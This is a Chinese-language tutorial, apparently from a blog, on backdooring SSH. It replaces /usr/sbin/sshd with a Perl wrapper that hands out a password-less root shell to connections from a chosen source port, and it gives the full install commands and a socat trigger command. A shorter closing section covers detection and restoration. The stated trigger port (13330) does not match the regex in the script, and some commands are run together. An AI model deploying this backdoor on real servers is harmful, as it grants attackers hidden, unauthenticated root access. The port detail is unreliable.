1. 核心概念:什么是Wrapper后门?(如果你利用的是Socks5转发隧道去链接,此方案无效!)
Wrapper(包装器)后门是一种不修改原始二进制文件,而是在其外部“包裹”一层恶意逻辑的攻击技术。
类比理解:想象一个正常的程序是一根水管。Wrapper后门不是破坏水管,而是在水管外面套一个“三通接头”,让水流(数据/命令)既能正常流出,又能偷偷分出一部分到攻击者手里。
2. 创建后门步骤
移动原先的sshd程序到 /usr/bin/sshd 然后删除 /usr/sbin/sshd 接着创建sshd文件,并写入下面内容:
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec {"/usr/bin/sshd"} "/usr/sbin/sshd", @ARGV;
3.原理示意图
攻击者要登录SSH,就必须访问 /usr/sbin/sshd 这个文件。
攻击者把这个文件替换成了带后门的Perl脚本。
攻击者把这个文件替换成了带后门的Perl脚本。
详细拆解
正常情况下
用户执行 ssh root@服务器
│
▼
服务器运行 /usr/sbin/sshd(真·二进制程序)
│
▼
sshd:要密码 → 验证 → 给Shell
/usr/sbin/sshd 是SSH登录的唯一入口程序。
bash
cd /usr/sbin/ # 进入入口程序目录
mv sshd ../bin/ # 把真的sshd藏到/usr/bin/目录下
echo ‘#!/usr/bin/perl’ >sshd # 新建一个Perl脚本,名字也叫sshd(冒充)
… # 往脚本里写后门代码
chmod u+x sshd # 给脚本执行权限
/etc/init.d/sshd restart # 重启服务
结果:
|
文件路径
|
变成了什么
|
|
/usr/sbin/sshd
|
假的(Perl后门脚本)
|
|
/usr/bin/sshd
|
真的(被移到这里藏起来了)
|
替换后发生了什么
当服务重启后,系统仍然去启动 /usr/sbin/sshd,但这个文件已经不是原来的sshd了,而是攻击者的Perl脚本。
这个Perl脚本的逻辑:
text
收到SSH连接请求
│
▼
检查对方的源端口是不是13330?
│
├── 是 → 直接执行 /bin/sh(给Shell,不要密码)
│
└── 否 → 调用 /usr/bin/sshd(真的sshd,正常要密码)
text
【攻击前】
SSH客户端 ──连接:22──→ /usr/sbin/sshd (真) ──→ 正常登录验证
【植入后门后】
┌─────────────────────────────────────────────────────────┐
│ /usr/sbin/sshd (Perl脚本) │
│ │
│ SSH客户端 ──连接:22──→ ┌─────────────────────┐ │
│ │ 检查源端口是否为13330?│ │
│ └──────────┬──────────┘ │
│ │ │
│ ┌──────────────────────┼──────────────────────┐
│ │ │ │
│ ▼ 是 ▼ 否 │
│ ┌─────────────────┐ ┌─────────────────────────┐ │
│ │ exec “/bin/sh” │ │ exec{“/usr/bin/sshd”} │ │
│ │ 直接给Shell │ │ 调用真正的SSHD │ │
│ │ 无需密码登录 │ │ 正常登录验证 │ │
│ └─────────────────┘ └─────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
数据流向图
text
攻击者(源端口13330) 普通用户(源端口随机)
│ │
│ ┌─────────────┐ │
└──→│ Perl Wrapper │←─────────┘
│ /usr/sbin/sshd │
└────────┬──────────┘
│
┌────────────┼────────────┐
│ │ │
▼ ▼ ▼
/bin/sh /usr/bin/sshd (真)
(直接Shell) (正常SSH流程)
原理(逐行解释)
|
命令
|
作用
|
|
cd /usr/sbin/
|
进入sshd所在目录
|
|
mv sshd ../bin/
|
把真正的sshd移动到/usr/bin/备份起来
|
|
echo ‘#!/usr/bin/perl’ >sshd
|
创建一个新的sshd文件,用Perl解释器运行
|
|
echo ‘exec “/bin/sh” if(…)’ >>sshd
|
后门核心:如果连接方源端口是13330,就直接给Shell
|
|
echo ‘exec{“/usr/bin/sshd”}…’ >>sshd
|
不是后门连接时,正常调用真正的sshd
|
|
chmod u+x sshd
|
给新sshd添加执行权限
|
|
/etc/init.d/sshd restart
|
重启服务,后门生效
|
4.Socat 测试(验证后门是否生效)
攻击端命令(测试后门)
bash
# 使用 socat 连接目标SSH端口,并设置源端口为13330
socat STDIO TCP4:目标IP:22,sourceport=13330
完整测试流程
text
【攻击者机器】 【目标服务器】
│ │
│ socat连接:22 │
│ 源端口=13330 ────────────────→ │
│ │ Perl Wrapper检查源端口
│ │ 匹配到13330 → 触发后门
│ │
│ ←──────────────────────────── exec “/bin/sh”
│ │
│ 获得Shell ⚡ │
│ id │
│ uid=0(root) │
测试命令示例
1. 测试后门连接(源端口13330)
socat STDIO TCP4:192.168.1.100:22,sourceport=13330# 如果成功,直接进入Shell,无需登录
测试正常连接(普通端口,应该要登录)
2.ssh root@192.168.1.100
应该还是要求密码/密钥登录
验证源端口是否生效
在目标服务器上实时监控连接
tcpdump -i eth0 port 22 -n -c 10观察源端口字段是否为13330
5.后门排查方法
快速检查
1. 检查sshd文件是否是正常二进制
file /usr/sbin/sshd 正常输出:ELF 64-bit LSB executable
异常输出:Perl script text
2. 查看sshd内容
cat /usr/sbin/sshd如果看到 Perl 代码,说明被替换了
3. 检查是否有备份的真sshd
ls -la /usr/bin/sshd排查命令汇总
bash
# 检查文件类型
file /usr/sbin/sshd4.检查最近修改的系统文件
find /usr/sbin /usr/bin -name "sshd" -ls 2>/dev/null5.检查sshd进程
ps aux | grep sshd正常:
/usr/sbin/sshd异常:
perl /usr/sbin/sshd6. 检查系统日志
tail -50 /var/log/auth.log | grep sshdjournalctl -u sshd | tail -206. 清除与恢复
bash
# 删除恶意sshd
rm -f /usr/sbin/sshd
# 恢复真sshd
mv /usr/bin/sshd /usr/sbin/sshd
# 重启服务
/etc/init.d/sshd restart
# 或 systemctl restart sshd
# 验证恢复
file /usr/sbin/sshd
# 应输出:ELF 64-bit LSB executable
核心总结
|
特征
|
说明
|
|
后门类型
|
Wrapper脚本,包裹真正SSHD
|
|
关键文件
|
/usr/sbin/sshd (被替换为Perl脚本)
|
|
真sshd去向
|
/usr/bin/sshd
|
|
触发条件
|
源端口13330
|
|
测试命令
|
socat STDIO TCP4:目标IP:22,sourceport=13330
|
|
排查命令
|
file /usr/sbin/sshd
|
|
恢复方式
|
删除假sshd,移回真sshd
|
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
















暂无评论内容